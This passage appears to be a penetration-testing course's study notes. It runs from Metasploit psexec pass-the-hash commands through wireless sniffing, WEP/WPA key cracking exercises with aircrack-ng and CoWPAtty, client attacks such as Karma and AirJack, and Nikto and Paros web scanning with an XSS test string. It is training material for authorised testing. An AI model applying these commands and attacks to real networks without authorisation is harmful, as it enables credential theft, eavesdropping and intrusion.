Metasploit psexec Module with Pass-the-Hash ..3.176

meterpreter > exit
msf exploit(ms03_026_dcom) > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/shell/bind_tcp
msf exploit(psexec) > show options

4) Metasploit psexec Module with Pass-the-Hash (2) ..4.177

msf exploit(psexec) > set RHOST 10.10.10.10
msf exploit(psexec) > set LPORT [SomeUniquePortNumber]
msf exploit(psexec) > set SMBUser Administrator
msf exploit(psexec) > set SMBPass [LANMAN]:[NT]

4) Metasploit psexec Module with Pass-the-Hash (3) ..4.177

msf exploit(psexec) > exploit
c:\> net user
C:\> net localgroup administrators
C:\> exit

Day 5

Wireless & Web Apps ..5.1

560.5 Table of Contents ..5.2

Wireless Overview ..5.3

  • Focus on 802.11 a/b/g/n

Categories of Wireless Vulnerabilities ..5.4

  • Denial of Service
  • Rogue access points
  • Lack of or improper implementation of wireless security on access points
  • Traffic capture / intercept
  • Crypto Attacks
  • Client-duping

Wireless Denial of Service ..5.5

  • Usually not worth testing
  • simply unplugging the WAP will show effects of DoS
  • Wire-line should be defense
  • Trivially easy to perform
  • De-authenticate clients
    • void11 tool for Linux by Reyk Floeter
    • Single laptop with single wireless card uses channel hopping to shut down connections continuously regardless of cryptographic protection
    • Also supports authentication flood and association flood against AP's
  • Other attacks - corruption of TKIP (Temporal Key Integrity Protocol) messages forces them to be discarded

Wireless Card to Use ..5.6

  • Be careful with compatibility of tools, drivers, and wireless cards
  • Built-in cards for laptops have significant limitations
    • Often lack an easily accessible antenna connector
    • Often have incompatibilities with software
  • Consider a PC-card solution
    • Atheros 802.11a/b/g card support most wireless LAN sniffing, scanning, and attack software
  • check each tool you plan to use for wireless card compatibility
    • Especially before traveling on-site for a test
    • You may need multiple cards

GPS Receiver ..5.7

  • Many wireless LAN scanning tools record your geographic locatoin based on connected GPS device
  • USB GPS devices common today
  • Many to choose from
  • GlobalSat BU-353 ~$37

Antennas in Wireless Pen Testing ..5.8

  • Directional Antennas - horizontal beamwidth often 30 degrees
  • Omni-directional Antennas - horizontal beamwidth of 360 degrees

Connecting to an Antenna ..5.9

  • N, SMA, Hirose U.FL connectors available in male or female
  • Make sure impedance matches - 50 and 75 Ohm are both very common

802.11 b/g Channels ..5.10

  • At 2.4 GHz, each Channel is 22 MHz wide
    • Each channel is separated by 5 MHz
    • but at 22 MHz wide, channels do overlap with each other, causing interference
    • To avoid interference, nearby access points whould be at least 5 channels apart (e.g., 1, 6 and 11)
  • Different countries allow use of different sets of channels
    • In US, channels 1-11 supported
    • in Europe, channels 1-13
    • France: 10-13
    • Japan: 1-14

SSIDs ..5.11

  • Service Set Identifiers (SSID's) come in several forms
    • SSID - generic term, referring to the wireless network name
    • BSSID - Basic SSID - the MAC address of the AP
    • ESSID - Extended SID - a name applied to one or more AP's providing the same service to access a wired LAN
      • In many deployments, each AP has its own unique ESSID, although ESSID's can be shred across multiple access points to support roaming

802.11 Handshakes – Probes, Authentication and Association ..5.12

client ————— AP

Probe Request>
Probe Response<
Auth Request>
Auth Challenge<<
Auth Response>>
Auth Success<
Associate Request>
Associate Response<
Data < >

Wireless LAN Discovery and Sniffing ..5.13

Finding Wireless LANs ..5.14

  • Wireline-side discovery
    • AP fingerprinting, with tools like Nessus
    • Mac Address analysis
  • Wireless discovery:
    • War walking
    • Sniffing - looking for clients and AP's

Nessus Wireless Access Point Detection ..5.15

  • In General categor of Plugins, plugin id number 11026
  • Based on numerous kinds of checks:
    • Active stack fingerprinting
    • Banner analysis of web manabement interface on TCP port 80
    • Banner analysis of ftp interface on TCP port 21
    • SNMP queries using default “public” as community string on UDP 161
  • Not overly accurate, better than nothing
    • Can identify about 125 AP's
    • Useful as a superficial, quick scan
    • Scan only limited ports (e.g., 20-200) for speedy yet reliable scan

MAC Address Analysis ..5.16

  • Most wireless vendors use known OUI's in their MAC addresses
  • We can look up discovered MAC addresses in OUI-to-vendor mapping tables
  • OUI prefix in the MAC adress will tell us vendor–sometime that alone is enough to identify an access point
  • Other times, we need to look beyond OUI

Getting MAC Addresses ..5.17

  • Nmap ARP sweep (2.68ff)
    • Only gets information from same LAN as machine running Nmap
    • Remember, ARP isn't routed and MAC addresses aren't routed
    • But, if we ahve access to network management infrastructure, we can pull them from switch CAM tables and router ARP tables
    • You could do this manually
    • Or, Netsidco is a free tool for automating information gathering, network mapping, and MAC lookup
      • Requires PostreSQL database
      • Uses SNMP and CDP to pull information from routers and switches

Sniffing to Find Access Points ..5.18

  • Sniff wireline and lookup MAC addresses
  • Sniff wireless to look up communicating devices. We already know that they are wireless because hey are communicating using RF
    • This will also show clients
  • MAC addresses passed in clear text, as well as SSID's
  • Numerous sniffers are wireless capable
    • tcpdump, Wireshark, Kismet
  • Also, commercial tools such as WildPackets' OmniPeek (successor to AiroPeek)

Interface Mode for Wireless Sniffing ..5.19

  • Wireless interfaces can be in any one of several modes
    • Master mode - acts like access point (Infrastructure mode?)
    • Ad-hoc mode - acts in a peer-to-peer fashion
    • Managed mode - acts as client connected to access point
    • Monitor mode (also called RFMON) - passively send all gathered traffic from wireless interface to the OS. Monitors only one channel at a time, unless tools make it hop
  • For sniffing, the last two are most useful

Managed Mode vs. Monitor Mode for Sniffing ..5.20

  • Managed mode, also known as “Ethernet compatibility” mode
    • Interface and drivers decode wireless frames into Ethernet format
    • Plus: allows us to use Ethernet compatible tools for packet analysis
    • Plus: allows us to send traffic on network
    • Minus: doesn't pass on wireless control frames and non-Ethernet compatible traffic
    • Minus: requires the user to associate with the access point
  • Monitor mode
    • Pulls raw wireless frames and passes them to the operating system
    • Plus: grabs all wireless frames, whether Ethernet compatible or not, including wireless control frames
    • Plus: Passive way to grab packets
    • Minus: Does not decode Ethernet frames
      • But, Josh Wright's wlan2eth tool converts captured wireless frames to libpcap format for use in Ethernet-centric packet capture analysis tools
    • Minus: cannot send traffic
  • Both modes use only one channel at a time

AA AA

wlan2eth on willhackforsushi.com

Linux vs. Windows Monitor Mode Support ..5.21

  • Numerous free drivers are available for putting wireless cards in monitor mode for Linux
  • Windows free support for monitor mode is limited
    • Commercial tools can do this, such as OmniPeek
    • Also, commercial AirPcap from www.cacetech.com provides custom USB dongle and drivers to do this, for use with Wireshark, tcpdump, or other sniffers
    • Or, run Linux on VMware Workstation 6.0 or later on Windows in bridged mode, with a USB wireless card
    • Or, utilize Josh Wright's VistaRFmon from www.inguardians.com/tools
      • Free tool to put Windows Vista wireless interface into monitor mode
      • Can be used with Microsoft NetMon to grab packets-then convert to libpcap format with nm2lp tool also from Josh Wright

Putting a Wireless Interface into Monitor Mode ..5.22

  • Before activating a sniffer to capture wireless traffic, we have to put the interface in the appropriate mode
  • For many wireless drivers, use iwconfig:
# iwconfig [interface] mode monitor channel [N]
  • Before this, the ifconfig command may need to be used to bring the interface up:
# ifconfig [interface] up
  • Specific interface name depends on wireless drivers: wlan0, ath0, eth0, eth1, etc.
iwconfig eth1 mode monitor channel 6
iwconfig
iwpriv (on some Linux versions)

Information Gathered from Wireless Sniffing ..5.23

  • Sniffing in monitor mode provides
    • MAC addresses - access point vendor information
    • SSID's
    • Channels and data rates
    • Usernames in wireless management frames
    • Wmbedded protocol type carried over wireless (ARP, IP, etc.)
  • This information is available even if wireless encryption in use

tcpdump -i eth1

Using Wireshark to Sniff Wireless ..5.24

  • After manually putting interface in Monitor mode with iwconfig, simply capture from that interface
  • Output will show MAC addresses, SSID's, channels, rates, data, etc.
# tshark -i eth1

Wireless Sniffing with Kismet ..5.25

  • Kismet is a free wireless analysis tool by Mike Kershaw, at www.kismetwireless.net
    • Network detector, sniffer, and intrusion detection system
    • supports 802.11a/b/g/n
    • Useful for all kinds of wireless analysis, specifically:
      • War driving - finding legit access points and rouge access points
      • Sniffing and analyzing wireless traffic
      • Distributed wireless IDS
    • Client-server architecture
      • Multiple clients can connect to and monitor a single Kismet server
    • Lots of install dependencies - You may want to run it from BackTrack CD or other bootable distro

Kismet Features ..5.26

  • Display updating in terminal window in real-time - User interacts with display by hitting various keys
  • Automatically puts interface in monitor mode
  • Passively identifies both access points and clients - unlike active tools that send probe requests for access points only
  • Automatically hops between channels
  • Support for multiple wireless cards, simultaneously
    • each with its own channel hopping pattern

Additional Kismet Features ..5.27

  • Identifies IP address ranges on non-encrypted networks by analyzing ARP, DHCP and IP traffic
    • If encrypted, this information isn't accessible
    • unless you configure Kismet with WEP keys for WEP-protected networks
  • Monitors CDP traffic for switch name and wireline network topology that access point is connected to
  • Records location from GPS receiver
  • Supports mapping with included gpsmap tool
  • Identifies various wireless attack types
  • Integrates with Snort as a full-blown IDS

Kismet IDS ..5.28

  • Kismet focuses on detecting Layer 2 wireless attacks
    • can provide data to Snort for Layer 3 and above
  • Kismet's signatures include:
    • netstumbler probe requests
    • Probe-no-join
    • Channel change - possible sign of man-in-the-middle attack
    • Deauth flood
    • Broadcast disassociate or deauthenticate
    • several others

Locating Access Points based on Sniffer Info: Wireline ..5.29

  • Non-trivial
  • Look for client and access point MAC addresses in switch CAM tables
  • Alternatively, you could try to associate with it, get an IP address, and ping through it to a known host
  • Then, trace down with network monitoring tools

Locating Access Points based on Sniffer Info: Wireless ..5.30

  • Look at signal-to-noise ration (SNR)

Discovering Access Points via Probe Requests ..5.31

  • Some tools opt for a more acrtive approach
    • send probe request with no SSID
    • Look for probe response with SSID
  • Rely on managed mode, not rfmon
    • netstumbler
    • Cain
    • iPhone
  • Most wireless client have the capability, but Netstumbler and Cain record information in a handy format, including GPS

Cain Wireless LAN Discovery ..5.32

  • By default, uses active approach
    • Probe Request
  • Has an option for using commercial AirPcap drivers
    • Allows for monitor mode detection, WPA challenge/response sniffing, and traffic injection

NetStumbler ..5.33

  • Functionally similar to Cain's default wireless detection
  • Graphs SNR over time
  • ESSID doesn't appear, but MAC address does, based on probe response

SSID Cloaking ..5.34

  • many modern access points have configuration options that try to limit SSID disclosure, cloaking the ESSID
  • With cloaked ESSID:
    • ESSID is not sent in beacons, and
    • Access point doesn't include ESSID in probe response; client is expected to know ESSID to join wireless LAN
  • Doesn't help much
  • NetStumbler and Cain (without AirPcap) cannot determine ESSID of cloaked networks
    • With many cloaked access points, their ESSID shows up as blank in output; other access points do not show up at all, because they don't send responses to ESSID-less probe requests

Determining Cloaked ESSIDs ..5.35

  • sniffing cannot see cloaked ESSID's in beacons
  • But, when someone actually uses the network, ESSID's are sent in clear text, so a wireless sniffer on the appropriate channel will capture them
  • Even if clients are currently quiet, the attacker could use AirJack to inject a spoofed deauthentication frame to the network broadcast address, appearing to come from the access point, forcing clients to preform the handshake again, revealing the ESSID
  • ESSID's are not a security feature; they can almost always be determined by an attacker, as long as someone is actually using the network.

Sniffing Cloaked ESSIS ..5.36

Wireless Crypto Attacks ..5.37

Identifying Crypto in Use: 802.11 Privacy Bit ..5.38

  • 802.11 Privacy Bit
    • Also called the “WEP bit”
    • Also called the “security bit”
  • Not always accurate; a few types of access points use WEP byt don't set this bit
  • Doesn't indicate only WEP; could also indicate WAP1, WPA2, or other
  • It's a reasonable sign that some form of 802.11 encryption is going on, but if it is not set, the data may or may not be encrypted

Identifying Crypto in Use: More Hints in Sniffed Packets ..5.39

Identifying Crypto in Use: Kismet Fuzzy Crypto Detection ..5.40

  • Kismet has heuristic features for detecting wireless crypography based on looking in the first couple bytes of 802.11 message payloads
    • wireless header sent in clear text
    • but, payload might be encrypted
  • Payload contains embedded protocol
  • Likely an embedded Ethernet header, with predictable fields if they are in clear text
    • Usually an 802.2 headder that starts with 0xAA 0xAA
  • Kismet checks their value to see if it matches expected embedded protocol values for clear text traffic, if not, it might be encrypted
    • Kismet utilizes the fact that, in data packets sent across a wireless network, the clear-text 802.11 header is almost always followed by an embedded protocol of a known type, such as the 802.2 Logical Link Control (LLC) header around an embedded Ethernet frame, which always starts with the bytes 0xAA 0xAA

Identifying Crypto in Use: Statistical Analysis of Crypto ..5.41

  • Clear text data has repeated patterns , and uneven use of various characters
  • Encrypted data has a flat histogram
  • The pcaphistogram (by Josh Wright) Perl script analyzes libpcap files, plotting frequency of each byte
  • Flatter pattern is more likely encrypted

Wired Equivalent Privacy Protocal (WEP) ..5.42

  • Specified way back in 1997, finalized in 1999
    • US (and other countries) laws and regulations for crypto export were quite restrictive at the time
  • Encrypts data using the RC4 algorithm
  • Supports 64-bit or 128-bit crypto keys
    • But, first three bytes (24 bits) are set to an initialization vector (IV) secret
    • IV sent across the netork in clear text in the packet- It's not a secret.
      • Changed for every packet, but still sent in clear text
      • The idea is that every packet would get a unique key because it is encrypted with changing IV with fixed pre-shared key concatenated
  • Effectively, WEP has only 40-bit (64 minus 24) or 104 bit (128-24) keys

Seeing the WEP IV in Each Packet ..5.43

WEP Encryption ..5.44

  • (IV + Pre-Shared Key) –> RC4 –> 1) xor (Clear text + CRC Checksum)) –> Encrypted Payload
  • IV + Encrypted Payload = Transmitted Packet
  • looks complicated, but cryptographically simple

WEP Weaknesses ..5.45

  • Numerous problems in WEP
    • Clear text Initialization Vectors (first 24 bits)
    • Colliding Initialization Vectors
      • If the initialization vector of two packets is the same, the key used in RC4 is the same
    • Weak integrity check value in each packet
    • no replay protection
      • Challenge/response exchanges can be captured, leading to injection of arbitrary encrypted data
    • Known clear text allows WEP key recovery
  • Together, these issues allow an attacker to merely sample traffic or interact with a network to gather apckets and crack the WEP key
    • Various tools and approaches for doing this

WEP Weaknesses: Colliding Initialization Vectors ..5.46

  • IV is only 24 bits long, with 16,777,216 (2^24) possible values
  • Collisions very likely
    • Variant of the birthday paradox
  • Some systems assign IV's in a predictable fashion
    • Incremental is terrible
    • Or, a poorly generated pseudorandom number after system boot or access point boot

WEP Weaknesses: Using Colliding Ivs ..5.47

  • We can sniff two packets with same IV
    • We know that they had the same RC4 key (same IV, same pre-shared key), and they therfore have the same PRGA
    • We may know the clear text cibtebts if ibe oacjet (e.g., DHCP request for Win XP always has the same settings)
    • with encrypted data XOR clear text, we can determine PRGA
    • Then, we can use PRGA XORed with other encrypted data to determine other clear text
  • We still don't know the WEP key, just the PRGA stream derived from it for that IV, and the clear text for all packets with that IV
  • For expample, suppose we sniff two packets:
    • 3e 3a d0 ed 15 ba dd and 3e 3a d0 47 da 56 d8
    • the first three bytes are the same, thats the IV
    • remaining bytes are cipher text
    • Suppose we know that the clear text for the fist packet is 01020304
    • 010203040 XOR ed15badd = ec17b9d9, that's the PRNG
    • ec17b9d9 XOR 47da56d8 = abcdef01, that's the other packet clear text!
    • We can decrypt any packet with the IV if 3e 3a d0

WEP Weaknesses: Weak integrity Check ..5.48

  • The encrypted payload includes an integrity check value
    • Calculated from the plaintext using CRC32
      • No unique value or key folded in
    • CRC32 is not cryptographically strong
    • Attackers can easily create collisions with two different clear text values that have the same CRC32
  • Makes it easy to craft clear text payloads to inject–If only we knew how to encrypt injected packets

WEP Weaknesses: No Replay Protection ..5.49

  • In wireless handshake, response is derived from the challenge using only the (clear text) IV and the WEP key
  • No unique value or sequence number unkown to the attacker is included for this or any subsequent packets
  • Attacker can sniff challenge (clear text) and response (encrypted)
  • Then, XOR challenge and response to determine Pseudo-Random Stream (PRGA) used for that packet
  • Attacker can then use this PRGA with the same IV to inject arbitrary packets (with properly calculated checksums) into the network
    • The access point and/or client will accept these packets!
    • Can't decrypt responses, but by injecting traffic that each side will accept, attacker can get them to send predictable responses, such as ARP or ICMP Echo Reply
    • Attacker can make targets generate encrypted traffic that can be sampled
  • Yeah- but that's just accelerating traffic on the LAN- if only we know how to derive the WEP key form sampled traffic

WEP Weaknesses: Known Clear Text to Recover Key ..5.50

  • Almost every encrypted packet ahs several bytes of known clear text
    • The embedded 802.2 header starts with 0xAA 0xAA
  • Attacker can sample traffic, possibly generated by attacker0injected packets
  • Then, attacker can try to crack crypto, using clear text IV's trying large numbers of potential WEP keys
    • Known as the FMS attack, named after authors of paper describing it (Fluhrer, Mantin, and Shamir)
    • Requires sampling of 75,000 to 250,000 WEP-encrypted packets to determine the WEP key
    • With a busy wireless network sending traffic and a modern processor for cracking, the process can take less than ten minutes
  • To speed up the process, some attack tools (aircrack-ng) use a variation called PTW (Pyshkin, Twes, and Weinmann)
    • Focuses on 16-bytes known in ARP requests (AA AA 03 00 00 00 08 06 00 01 08 00 06 04 00 01) abd responses (AA AA 03 00 00 00 08 06 00 01 08 00 06 04 00 02)
    • Increases odds of successfully cracking key with fewer packets in less time
    • 50% probability with 40,000 packets, with cracking in less than a minute

WEP Attack Tools ..5.51

  • Based on it weaknesses, there are various tools for attacking WEP
    • Dictionary attack: WEPAttack
      • Many access points require pre-shared keys to be alphanumeric
      • WEP/Attack uses a dictionary and hybrid attack to generate pre-shared key guesses, cracking WEP keys
    • Traffic injection tools
      • Aireplay-ng:replay WEP packets from a capture file to solicit new responses-ARP very useful, because it has known size, and solicits responses with new (and potentially colliding) IV's
      • WEPWedgie: sniffs challenge/response, recovers PRGA, and injects traffic to solicit responses, accelerating traffic for potential cracking
    • Weak IV pre-shared key cracking using PTW (default) or FMS (configurable option) method: Aircrack-NG
      • Requires 40,000 or more packets
      • tries to crack pre-shared WEP key based on know clear text from embedded 802.2 header, ARP requests, and ARP replies.

Wifi Protected Access ..5.52

  • WPA is part of 802.11i
  • Attempts to address many of the WEP weaknesses
  • Relies on TKIP, the Temporal Key Integrity Protocol
    • Attemps to stop forgery with cryptographically strong message integrity check using the Michael algorithm
    • Attempst to stop replay attacks with initialization ector sequencing, starting at 0
    • Attempts to stop re-use of existing packets with periodic rekeying or temporal keys, especially before IV recycling occurs
    • Attempts to thwart key recovery with key mixing using source and destination MAC address and sequence number
  • Deployable with Pre-Shared Keys or a key infrastructure

WPA1 vs. WPA2 ..5.53

  • WPA1 (also called WPA): Subset of 802.11i
    • Requires less processing power
      • Typically used for older, less powerful access points
    • Core cipher is RC4
  • WPA2: Fully implements 802.11i
    • Requires more CPU cycles
    • Core cipher is AES
    • Stronger than WPA1
  • Both deployable with pre-shared key or EAP infrastructure
  • Josh Wright “TKIP vulnerability” webcast

WPA Attack Tools ..5.54

  • If WPA is deployed with PSK, it can be attacked using CoWPAtty by Josh Wright
    • WPA pre-shared key cracking feature has also been added to Aircrack-ng
    • Dictionary attack against WPA pre-shared eky for WPA1 and WPA2
    • Runs on Linux
    • Requires sniffed WPA authentication “four-way”“ handshake and a dictionary
    • Due to cryptographic complexity, guess/encrypt/compare process very slow
      • on modern laptop, 10 to 50 passwords checked per second
    • Can be accelerated by splitting worklist across multiple machines
    • supports pre-encrypted dictionalry attack
    • Free Pre-Computed dictionaries are available for:
      • The 1,000 most common SSID's (linksys, tsunami, etc.) with 172,000 passwords for > 7Gigs
      • The 1,000 most common SSID's with 1 Million words for > 33 Gigs
  • If WPA deployed with PEAP:
    • Brute force login attempts
    • Monkey in the middle attacks
    • Attack against back-end RADIUS server
    • Much harder to attack-largely relies on many custom tools today

Why Bother Cracking Wireless Traffic (Especially WEP and WPA1)? ..5.55

  • Some people may say, “If I disover WEP or WPA1, I've already got my findings, why should I bother cracking it?”
    • This is reasonable for auditing
    • But, in a pen test, our goal often involves determining whether we can gain access to a target network, and whether sensitive information is exposed
    • Thus, as penetration testers, we typically want to try to crack wireless security protocols, including WEP and WPA1 whenever we find them in a target environment during a test-
    • -and we may even want to try to crack WPA2, in case the target orgainzation has trivial pre-shared keys

Wireless Crypto Cracking Exercise ..5.56

Exercise: Cracking Wireless WEP and WPA Pre-Shared Keys ..5.57

  • aircrack-ng for WEP
  • CoWPAtty and aircrack-ng for WPA1
  • Two files on the DVD
    • wep_crack.pcap
    • wpa_crack.pcap
    • each file was created using tcpdump snifing a wireless interface in monitor mode

eg.:

# iwconfig eth1 mode monitor channel 6
# tcpdump -nn -i eth1 -s0 -w wep_crack.pcap

Cracking WEP PSK: Analyzing the PCAP file ..5.58

# cp /home/tools/wep_crack.pcap /tmp
# tcpdump -nnr /tmp/wep_crack.pcap |grep "Beacon"
  • Should see SSID ofr 560gc, the target AP

Aircrack-ng Options ..5.59

  • Aircrack-ng has the option of using multiple different styles of attack against WEP pre-shared keys
  • The default style is PTW
    • This method requires fewer packets, focusing on ARP requests and responses
  • Alternatively, Aircrack-ng can be configured to use the -K option to use the FMS method
    • This method requires many more packets
  • Or, Aricrack-ng cupports a -w [file] option to specify a dictionary of passwords for Aircrack-ng to attempt as pre-shared keys

Cracking the WEP PSK with Aricrack Using PTW Method ..5.60

# cd /home/tools/aircrack-ng-1.0-rc1
# ./aircrack-ng -e "560gc" /tmp/wep_crack.pcap

money should appear as the PSK

Analyzing WPA-Protected Packets ..5.61

# cp /home/tools/wpa_crack.pcap /tmp
# wireshark -r /tmp/wpa_crack.pcap &
  • Select packet #1 and expand the settings under this packet by clicking on the right-pointing arrows
  • in particular:
    • IEEE 802.11 wireless LAN management frame→Tagged parameters→Vendor Specific:WPA→Tag interpretation: WPA IE, Type 1, version 1
    • should see WPA IE, type 1, version 1 indicating WPA1 in use

Cracking wth WPA PSK with CoWPAtty ..5.62

  • CoWPAtty launches a dictionary-based attack against pre-shared keys
# cd /home/tools/cowpatty-4.2
# ./cowpatty -r /tmp/wpa_crack.pcap -s "go away 2" -f /home/tools/john-1.7.2/run/password.lst

baseball should appear

Cracking WPA PSK with Aircrack-ng ..5.63

# cd /home/tools/aircrack-ng-1.0-rc1
# ./aircrack-ng -w /home/tools/john-1.7.2/run/password.lst -e "go away 2" /tmp/wpa_crack.pcap

Wireless Client Attacks ..5.64

Wireless Client Attacks ..5.65

  • Many wireless attacks against clients involve the attacker duping clients into trusting content from the attacker
    • Wireless client (and user) believes the content presented on their connection is legit
      • Could be a fake bank page or a server with client-side exploit
  • Some common client attack approaches:
    • Inject traffic into existing session with access point : Airpwn
    • Hijack an existing session with an access point: AirJack
    • Impersonate an access point an client's preferred network list: Karma
  • Make sure Rules of Engagement allow such attacks

Wireless Injection Attacks with Airpwn ..5.66

  • Attacker can monitor wireless traffic, specifically HTTP
  • When attacker sees a request match a specific pattern, attacker sends spoofed response that looks like it comes from the legit website through the legit access point
  • A race condition - the attacker's response must beat the real web server's response
  • Airpwn, pronounced”Air Pone“, implements this attack
  • Latest versions even suport WEP, but you have to provide it with a WEP key

Airpwn in Action ..5.67

  • 0) Authenticate and associate (between victim (wireless client) and AP)
  • 1) HTTP GET www.google.com (from client)
  • 3) Legit response comes too late (from google.com)
  • 2) HTTP GET response with bogus web page (from attacker)

Hijacking Wireless Sessions with AirJack ..5.68

  • Wireless hijack goes beyond injection attacks
  • Attacker can insert in the middle of the connection
  • AirJack implements this approach
  • Older tool, but still very effective
    • Works with Linux kernel 2.4, not 2.6
  • Airjack includes a suite of tools, each a building block
    • WLAN-jack - Denial of Service
      • Simply send deauthentication frames repeatedly, knocking everyone off the AP
    • ESSID-jack - Get ESSID info in a cloaked and low-traffic network
    • Monkey-jack - Monkey-in-the-middle attack for wireless hijack

AirJack's ESSID-jack ..5.69

  • 0) Authenticate and associate (client to AP)
  • 1) Send deauthentication frame to specific client or broadcast address of the network, then start sniffing (Attacker to client)
  • 2) Try to re-associate, sending ESSID (client to AP)
  • 3) Sniff the ESSID (attacker sniff exchange 2)

AirJack's Monkey-jack ..5.70

  • 0) Authenticate and associate (client to AP)
  • 1) Send deauthenticatio nframe, then start sniffing (Attacker to client)
  • 2) Try to re-associate, sending ESSID (client to AP)
  • 3) Respond as access point on different channel (attacker to client)
  • 4) Associate (client to attacker)
  • 5) Associate (attacker to AP)

Impersonating Access Points with Karma ..5.71

  • Instead of injecting traffic or hijacking a session, the attacker could simply impersonate an access point
  • Most wireless clients remember previously used access points in their “Preferred Network List” (PNL)
  • Most clients periodically send probe requests for access points in their PNL
    • At system boot
    • After waking from hibernation
    • When signal is lost
    • At regular intervals automatically
  • The specific pattern for PNL probing varies based on wireless client software and drivers, but attackers could sniff the ESSID's from these probes, and respond to them

Karma Functionality ..5.72

  • Karma puts a wireless card in monitor mode, sniffing for probe requests that include an ESSID
  • When it sees one, Karma switches to master mode and sends a probe response
    • Completes the rest of the wireless handshake, associating with the client with no encryption
  • Then, Karma includes various services to interact with the client:
    • DHCP, DNS, HTTP, FTP, POP3, SMB (Windows file and print sharing)
  • All interactions include content of attacker's choice
  • Can harvest passwords or deliver client-side exploits
  • Not a monkey-in-the-middle attack, a self-contained small Internet environment
  • tools support sniffing probe request that include ESSID's and sending responses to them include Hotspotter and RawGlueAP

Karma In Action ..5.73

  • 0) Send Probe Request from PNL (client to nothing)
  • 1) Sniff Request and Send Probe Response “I'm your AP! (Attacker to Client)
  • 2) Authenticate and Associate (Between client and attacker)
  • 3) DHCP Request (from client)
  • 4) DHCP Response (from attacker)
  • 5) HTTP Request (from client)
  • 6) Http Response (from attacker)

Karma integration into Metasploit ..5.74

  • Karma has been integrated into some version of Metasploit
  • The result is sometimes called “Karmetasploit” or “Karmasploit”
  • With this feature, all Karma functionality can be invoked from within the Metasploit interface
  • Metasploit will server up a series of exploits for various vulnerable clients when they try to connect
  • Exploit browsers, software update features, etc.

Wireless Conclusion ..5.75

  • DoS
  • Rogue access points
  • Sniffing
  • Crypto attacks
  • Wireless client attacks

Web App Overview ..5.76

Relationship to network Penetration Testing and Other Courses ..5.77

  • Web app pen testing is often considered a separate discipline from network pen testing
  • But, network pen testers and ethical hackers need to have an understanding of the tools and techniques from the web app world
  • Sans Security 519: Web Application Security Workshop: Targeted to developers
  • SANS Security 542: Web Application Penetration Testing In-Depth: Targeted to Pen testers

Defining a Web App ..5.78

  • Two fundamental properties define a web app
    • Web apps are accessed via HTTP and/or HTTPS
    • Web apps involve a web server
  • Other properties are common, but not required for a web app
    • Most web app involve a browser
    • Many web apps involve a backend database

Nikto ..5.79

Nikto: Web Server Vulnerability Scanner ..5.80

  • Nessus includes many plugins that look for vulnerabilities on web servers
  • But, there is a more focused tool: Nikto
    • Free from Sulo at www.cirt.net
    • Written in Perl, runs on Linux/Unix or Windows
    • Can be used as a Nessus plugin, but usually is not
  • Looks for well-known vulneravilities in web servers
    • Looks for over 3,500 potentially dangerous files, such as widely used and example scripts: CGI, PHP, ASP, etc.
    • Looks for version specific problems (misconfigurations and unpatched software) for oer 250 web server types
    • Can find certain kinds of XSS flaws in well-known programs installed on web servers

Nikto: Well-Known Flaws, Not Custom App Flaws ..5.81

  • Nikto test for well-known flaws in publicly available, widely released software
    • Most Nikto checks look for the presence of a given program on the server and its version number
    • Nikto is not focused on finding flaws in custom web apps, We'll us other tools for that
    • It is still immensely useful, often bridging between network and web app penetration tests
  • A related tool is Wikto by Senspost, a port of Nikto to Windows in the .NET framework
    • Includes a GUI and Google scanning capabilities, available at www.senspost.com

Using Nikto ..5.82

  • To run a fill complement of Nikto tests against a target:
# ./nikto.pl -h [target]
  • This assumes web server on TCP 80
  • Specify -p [portnums] for other target ports
  • Output displayed to screen by default
  • Use -output [filename] to save results in a file
  • Use -Format [format] to specify output type: cvs, htm, txt, xml (txt is default)
  • Use -single to create a custom HTTP request
  • Very flexible for one-shot measurements
  • Use -vhost [host_header] to specify a virtual host to test on a target web server
  • To update Nikto, getting the latest checks, run:
# ./nikto.pl -update

Focusing Nikto Tests ..5.83-84

  • We can use the -T [test(s)] to focus on specific categories
  • Test categories include:
    • 0 - File upload
    • 1 - Interesting File /Seen in logs
    • 2 - Misconfiguration / Default File
    • 3 - Information Disclosure
    • 4 - Injection (XSS/Script/HTML)
    • 5 - Remote File Retrieval, in web server root directory
    • 6 - Denial of Service, without launching DoS attack
    • 7 - Remote File Retrieval - Server Wide
    • 8 - Command Execution / Remote Shell
    • 9 - SQL Injection
    • a - Authentication Bypass
    • b - Software Identification
    • x - Reverse Tuning Options
  • Example:
# ./nikto.pl -h [target] -T48
  • Would tet for Injection and Command Execution

Nikto Exercise ..5.85

Running Nikto Against 10.10.10.50 ..5.86

# cd /home/tools/nikto-[version]
# ./nikto.pl -h 10.10.10.10.50

Manual Review: TRACE Method with Nikto -Single ..5.87

  • Trace is designed to echo back what we send it for troubleshooting purposes.
  • It should be turned off in a business environment
  • We should verify the automated findings as follows
# ./nikto.pl -Single

take defaults for all except

hostname or IP: 10.10.10.50
HTTP Method: TRACE
Data: <script>alert(1);</script>

Manual Review: Directory Indexing ..5.88

  • directory listing should not be enabled in most business environments
http://10.10.10.50/manual/images

will display a list of files in that directory

Paros Proxy ..5.89

Paros Proxy ..5.90

  • Non-transparent proxy that testers can use for fine-grained manipulation of HTTP and HTTPS session between browser and web server
    • Also includes scanning capabilities
    • Written in Java, freely available at www.parosproxy.com

Paros Features: HTTP Requests and Responses ..5.91

  • Allows for detailed inspection of requests and responses
  • Remembers HTTP requests and responses as user surfs through it
  • Allows for “trapping” requests and responses for editing in real-time
    • Useful for testing common web developer assumption that elements passed to browser won't be changed
    • Includes web spider for automated discovery of website components

Paros Features: Scanning ..5.92

  • Paros can scan target sites or pages for:
    • Some obsolete files and version information
    • Some default example files
    • Some SQL injection flaws
    • Some XSS flaws
    • Other issues as well
  • Scanning plugin categories
    • Information gathering
    • Client Browsing
    • Server security
    • Miscellaneous
    • Injection

Paros Features: Manual Request Editor and Hash Calculator ..5.93

  • Paros includes an HTTP request editor for one shot requests
  • It also includes an encoding and has calculator for
    • URL encoding
    • Base64
    • SHA-1
    • MD5

Additional useful Paros Features ..5.94

  • Search for specific text with find feature
  • Filter specific kinds of requests or responses
  • Save session results for analysis later
  • Configure authentication info to be presented to target web site
    • Basic Authentication and NTLM
  • Chained proxies
    • Browser uses Paros, which can use another proxy
  • Server-side and client-side SSL certificate support

Numerous Other Web App Manipulation Proxies ..5.95

  • free:
    • Paros Proxy, Java, Feature rich; favorite free tool; www.pharosproxy.org
    • Odysseus/Telemachus, Windows, Usful analytics and graphical representation; www.bindshell.net/tools/odysseus
